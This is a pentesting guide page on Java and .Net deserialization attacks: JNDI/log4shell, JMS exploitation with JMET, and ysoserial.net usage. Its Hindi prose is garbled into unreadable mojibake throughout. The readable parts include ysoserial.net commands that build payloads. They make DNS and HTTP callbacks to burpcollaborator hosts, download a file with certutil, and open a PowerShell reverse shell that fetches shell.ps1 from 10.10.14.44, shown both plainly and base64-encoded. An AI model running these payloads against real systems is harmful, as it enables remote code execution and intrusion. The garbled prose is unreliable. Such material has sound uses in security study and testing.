рдмрд╛рд╣рд░реА рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реБрд░рдХреНрд╖рд╛ рдореЗрдВ рд╕реБрдзрд╛рд░: рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЬреИрд╕реЗ NotSoSerial, jdeserialize, рдФрд░ Kryo рдЬрд╛рд╡рд╛ рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдФрд░ рдореЙрдирд┐рдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдиреНрдирдд рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдпреЗ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЕрддрд┐рд░рд┐рдХреНрдд рд╕реБрд░рдХреНрд╖рд╛ рдкрд░рддреЗрдВ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рдХрдХреНрд╖рд╛рдУрдВ рдХреА рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рдпрд╛ рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯрд┐рдВрдЧ, рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди рд╕реЗ рдкрд╣рд▓реЗ рдЕрдиреБрдХреНрд░рдорд┐рдд рд╡рд╕реНрддреБрдУрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдирд╛, рдФрд░ рдХрд╕реНрдЯрдо рдЕрдиреБрдХреНрд░рдордг рд░рдгрдиреАрддрд┐рдпреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ред

  • NotSoSerial рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рддрд╛ рд╣реИред
  • jdeserialize рдЕрдиреБрдХреНрд░рдорд┐рдд рдЬрд╛рд╡рд╛ рд╡рд╕реНрддреБрдУрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдмрд┐рдирд╛ рдЙрдиреНрд╣реЗрдВ рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬ рдХрд┐рдП, рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд╛рдордЧреНрд░реА рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред
  • Kryo рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдЕрдиреБрдХреНрд░рдордг рдврд╛рдВрдЪрд╛ рд╣реИ рдЬреЛ рдЧрддрд┐ рдФрд░ рджрдХреНрд╖рддрд╛ рдкрд░ рдЬреЛрд░ рджреЗрддрд╛ рд╣реИ, рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдЕрдиреБрдХреНрд░рдордг рд░рдгрдиреАрддрд┐рдпрд╛рдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрдврд╝рд╛ рд╕рдХрддреА рд╣реИрдВред

рд╕рдВрджрд░реНрдн

JNDI рдЗрдВрдЬреЗрдХреНрд╢рди рдФрд░ log4Shell

рдЬрд╛рдиреЗрдВ рдХрд┐ JNDI рдЗрдВрдЬреЗрдХреНрд╢рди рдХреНрдпрд╛ рд╣реИ, рдЗрд╕реЗ RMI, CORBA рдФрд░ LDAP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреИрд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ log4shell рдХрд╛ рд╢реЛрд╖рдг рдХреИрд╕реЗ рдХрд░реЗрдВ (рдФрд░ рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдЙрджрд╛рд╣рд░рдг) рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдореЗрдВ:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - рдЬрд╛рд╡рд╛ рд╕рдВрджреЗрд╢ рд╕реЗрд╡рд╛

рдЬрд╛рд╡рд╛ рд╕рдВрджреЗрд╢ рд╕реЗрд╡рд╛ (JMS) API рдПрдХ рдЬрд╛рд╡рд╛ рд╕рдВрджреЗрд╢-рдЙрдиреНрдореБрдЦ рдордзреНрдпрд╡рд░реНрддреА API рд╣реИ рдЬреЛ рджреЛ рдпрд╛ рджреЛ рд╕реЗ рдЕрдзрд┐рдХ рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЗ рдмреАрдЪ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред рдпрд╣ рдЙрддреНрдкрд╛рджрдХ-рдЙрдкрднреЛрдХреНрддрд╛ рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╣реИред JMS рдЬрд╛рд╡рд╛ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо, рдПрдВрдЯрд░рдкреНрд░рд╛рдЗрдЬ рд╕рдВрд╕реНрдХрд░рдг (Java EE) рдХрд╛ рдПрдХ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИ, рдФрд░ рдЗрд╕реЗ рд╕рди рдорд╛рдЗрдХреНрд░реЛрд╕рд┐рд╕реНрдЯрдореНрд╕ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рдХрд╕рд┐рдд рдПрдХ рд╡рд┐рдирд┐рд░реНрджреЗрд╢рди рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рд▓реЗрдХрд┐рди рддрдм рд╕реЗ рдЗрд╕реЗ рдЬрд╛рд╡рд╛ рд╕рдореБрджрд╛рдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдПрдХ рд╕рдВрджреЗрд╢ рдорд╛рдирдХ рд╣реИ рдЬреЛ рдЬрд╛рд╡рд╛ EE рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдШрдЯрдХреЛрдВ рдХреЛ рд╕рдВрджреЗрд╢ рдмрдирд╛рдиреЗ, рднреЗрдЬрдиреЗ, рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдФрд░ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рдПрдХ рд╡рд┐рддрд░рд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдШрдЯрдХреЛрдВ рдХреЗ рдмреАрдЪ рд╕рдВрдЪрд╛рд░ рдХреЛ рдвреАрд▓рд╛, рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдФрд░ рдЕрд╕рд┐рдВрдХреНрд░реЛрдирд╕ рдмрдирд╛рддрд╛ рд╣реИред (рд╕реНрд░реЛрдд рд╡рд┐рдХрд┐рдкреАрдбрд┐рдпрд╛)ред

рдЙрддреНрдкрд╛рдж

рдЗрд╕ рдордзреНрдпрд╡рд░реНрддреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рд╡рд╛рд▓реЗ рдХрдИ рдЙрддреНрдкрд╛рдж рд╣реИрдВ:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

рд╢реЛрд╖рдг

рддреЛ, рдореВрд▓ рд░реВрдк рд╕реЗ, JMS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реА рдХрдИ рд╕реЗрд╡рд╛рдПрдБ рдЦрддрд░рдирд╛рдХ рддрд░реАрдХреЗ рд╕реЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЗрди рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ (рдЖрдорддреМрд░ рдкрд░ рдЖрдкрдХреЛ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА) рддреЛ рдЖрдк рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╡рд╕реНрддреБрдПрдБ рднреЗрдЬрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЙрдкрднреЛрдХреНрддрд╛/рд╕рджрд╕реНрдп рджреНрд╡рд╛рд░рд╛ рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬ рдХреА рдЬрд╛рдПрдВрдЧреАред
рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЗрд╕ рд╢реЛрд╖рдг рдореЗрдВ рд╕рднреА рдЧреНрд░рд╛рд╣рдХ рдЬреЛ рдЙрд╕ рд╕рдВрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рд╕рдВрдХреНрд░рдорд┐рдд рд╣реЛ рдЬрд╛рдПрдВрдЧреЗред

рдЖрдкрдХреЛ рдпрд╛рдж рд░рдЦрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рднрд▓реЗ рд╣реА рдХреЛрдИ рд╕реЗрд╡рд╛ рдХрдордЬреЛрд░ рд╣реЛ (рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЛ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬ рдХрд░ рд░рд╣реА рд╣реИ) рдЖрдкрдХреЛ рдЕрднреА рднреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рдЧреИрдЬреЗрдЯ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рдЙрдкрдХрд░рдг JMET рдХреЛ рдЗрди рд╕реЗрд╡рд╛рдУрдВ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдФрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬреЛ рдЬреНрдЮрд╛рдд рдЧреИрдЬреЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдИ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╡рд╕реНрддреБрдПрдБ рднреЗрдЬрддрд╛ рд╣реИред рдпреЗ рд╢реЛрд╖рдг рддрдм рдХрд╛рдо рдХрд░реЗрдВрдЧреЗ рдЬрдм рд╕реЗрд╡рд╛ рдЕрднреА рднреА рдХрдордЬреЛрд░ рд╣реЛ рдФрд░ рдпрджрд┐ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдЧреИрдЬреЗрдЯ рдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдХрдордЬреЛрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдХреЗ рдЕрдВрджрд░ рд╣реЛред

рд╕рдВрджрд░реНрдн

.Net

.Net рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди рд╢реЛрд╖рдг рдЬрд╛рд╡рд╛ рдореЗрдВ рдкрд╛рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рддрд░реАрдХреЛрдВ рдХреЗ рд╕рдорд╛рди рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ, рдЬрд╣рд╛рдБ рдЧреИрдЬреЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд┐рд╢реЗрд╖ рдХреЛрдб рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдХрд┐рд╕реА рд╡рд╕реНрддреБ рдХрд╛ рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди рд╣реЛрддрд╛ рд╣реИред

рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ

рд╡реНрд╣рд╛рдЗрдЯрдмреЙрдХреНрд╕

рд╕реНрд░реЛрдд рдХреЛрдб рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП рдХрд┐:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

рдзреНрдпрд╛рди рдЙрди рдЕрдиреБрдХреНрд░рдордХреЛрдВ рдкрд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд┐рдпрдВрддреНрд░рдг рдХреЗ рддрд╣рдд рдПрдХ рдЪрд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдХрд╛рд░ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред

рдмреНрд▓реИрдХрдмреЙрдХреНрд╕

рдЦреЛрдЬ рдХреЛ рдмреЗрд╕64 рдПрдиреНрдХреЛрдбреЗрдб рд╕реНрдЯреНрд░рд┐рдВрдЧ AAEAAAD///// рдпрд╛ рдХрд┐рд╕реА рд╕рдорд╛рди рдкреИрдЯрд░реНрди рдкрд░ рд▓рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкрд░ рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рдХрд╛рд░ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╕реАрдорд┐рдд рдирд╣реАрдВ рд╣реИ, JSON рдпрд╛ XML рд╕рдВрд░рдЪрдирд╛рдПрдБ рдЬрд┐рдирдореЗрдВ TypeObject рдпрд╛ $type рд╢рд╛рдорд┐рд▓ рд╣реИрдВред

ysoserial.net

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк рдЙрдкрдХрд░рдг ysoserial.net рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди рд╢реЛрд╖рдг рдмрдирд╛рдПрдБред рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк git рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд▓реЗрдВ рддреЛ рдЖрдкрдХреЛ рдЙрдкрдХрд░рдг рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Visual Studio рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред

рдпрджрд┐ рдЖрдк рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ ysoserial.net рдЕрдкрдирд╛ рд╢реЛрд╖рдг рдХреИрд╕реЗ рдмрдирд╛рддрд╛ рд╣реИ рддреЛ рдЖрдк рдЗрд╕ рдкреГрд╖реНрда рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ ObjectDataProvider рдЧреИрдЬреЗрдЯ + ExpandedWrapper + Json.Net рдлреЙрд░реНрдореЗрдЯрд░ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред

ysoserial.net рдХреЗ рдореБрдЦреНрдп рд╡рд┐рдХрд▓реНрдк рд╣реИрдВ: --gadget, --formatter, --output рдФрд░ --pluginред

  • --gadget рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрд╕ рдЧреИрдЬреЗрдЯ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рдЙрд╕ рдХрдХреНрд╖рд╛/рдХрд╛рд░реНрдп рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдВ рдЬрд┐рд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛)ред
  • --formatter, рд╢реЛрд╖рдг рдХреЛ рдЕрдиреБрдХреНрд░рдорд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рдзрд┐ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдирдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдмреИрдХ-рдПрдВрдб рдХрд┐рд╕ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рддрд╛рдХрд┐ рд▓реЛрдб рдХреЛ рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдЗрд╕реЗ рдЕрдиреБрдХреНрд░рдорд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ)
  • --output рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рд╢реЛрд╖рдг рдХреЛ рдХрдЪреНрдЪреЗ рдпрд╛ рдмреЗрд╕64 рдПрдиреНрдХреЛрдбреЗрдб рд░реВрдк рдореЗрдВ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ ysoserial.net рд▓реЛрдб рдХреЛ UTF-16LE рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреЛрдб рдХрд░реЗрдЧрд╛ (рдЬреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ Windows рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ) рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдк рдХрдЪреНрдЪрд╛ рд▓реЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рд▓рд┐рдирдХреНрд╕ рдХрдВрд╕реЛрд▓ рд╕реЗ рдХреЗрд╡рд▓ рдПрдиреНрдХреЛрдб рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдЖрдкрдХреЛ рдХреБрдЫ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рд╕рдВрдЧрддрддрд╛ рд╕рдорд╕реНрдпрд╛рдПрдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдЬреЛ рд╢реЛрд╖рдг рдХреЛ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХрд╛рдо рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХ рд╕рдХрддреА рд╣реИрдВ (HTB JSON рдмреЙрдХреНрд╕ рдореЗрдВ рд▓реЛрдб UTF-16LE рдФрд░ ASCII рджреЛрдиреЛрдВ рдореЗрдВ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдпрд╣ рд╣рдореЗрд╢рд╛ рдХрд╛рдо рдХрд░реЗрдЧрд╛)ред
  • --plugin ysoserial.net рд╡рд┐рд╢рд┐рд╖реНрдЯ рдврд╛рдВрдЪреЛрдВ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рдг рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд▓рдЧрдЗрдиреНрд╕ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдЬреИрд╕реЗ ViewState

рдЕрдзрд┐рдХ ysoserial.net рдкреИрд░рд╛рдореАрдЯрд░

  • --minify рдПрдХ рдЫреЛрдЯрд╛ рд▓реЛрдб рдкреНрд░рджрд╛рди рдХрд░реЗрдЧрд╛ (рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ)
  • --raf -f Json.Net -c "anything" рдпрд╣ рд╕рднреА рдЧреИрдЬреЗрдЯреНрд╕ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдЧрд╛ рдЬреЛ рдПрдХ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдлреЙрд░реНрдореЗрдЯрд░ (Json.Net рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ) рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ
  • --sf xml рдЖрдк рдПрдХ рдЧреИрдЬреЗрдЯ (-g) рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ ysoserial.net "xml" (рдХреЗрд╕ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдирд╣реАрдВ) рд╡рд╛рд▓реЗ рдлреЙрд░реНрдореЗрдЯрд░реНрд╕ рдХреА рдЦреЛрдЬ рдХрд░реЗрдЧрд╛

ysoserial рдЙрджрд╛рд╣рд░рдг рд╢реЛрд╖рдг рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net рдореЗрдВ рдПрдХ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИ рдЬреЛ рд╣рд░ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЛ рдмреЗрд╣рддрд░ рд╕рдордЭрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ: --test
рдпрджрд┐ рдЖрдк рдЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ ysoserial.net рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛, рддрд╛рдХрд┐ рдЖрдк рдпрд╣ рдкрд░реАрдХреНрд╖рдг рдХрд░ рд╕рдХреЗрдВ рдХрд┐ рдЖрдкрдХрд╛ рдкреЗрд▓реЛрдб рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХрд╛рдо рдХрд░реЗрдЧрд╛ рдпрд╛ рдирд╣реАрдВред
рдпрд╣ рдкреИрд░рд╛рдореАрдЯрд░ рд╕рд╣рд╛рдпрдХ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рдЖрдк рдХреЛрдб рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдХреЗ рдЯреБрдХрдбрд╝реЗ рдкрд╛рдПрдВрдЧреЗ (рд╕реЗ ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдб serializersHelper.JsonNet_deserialize рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛ред

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

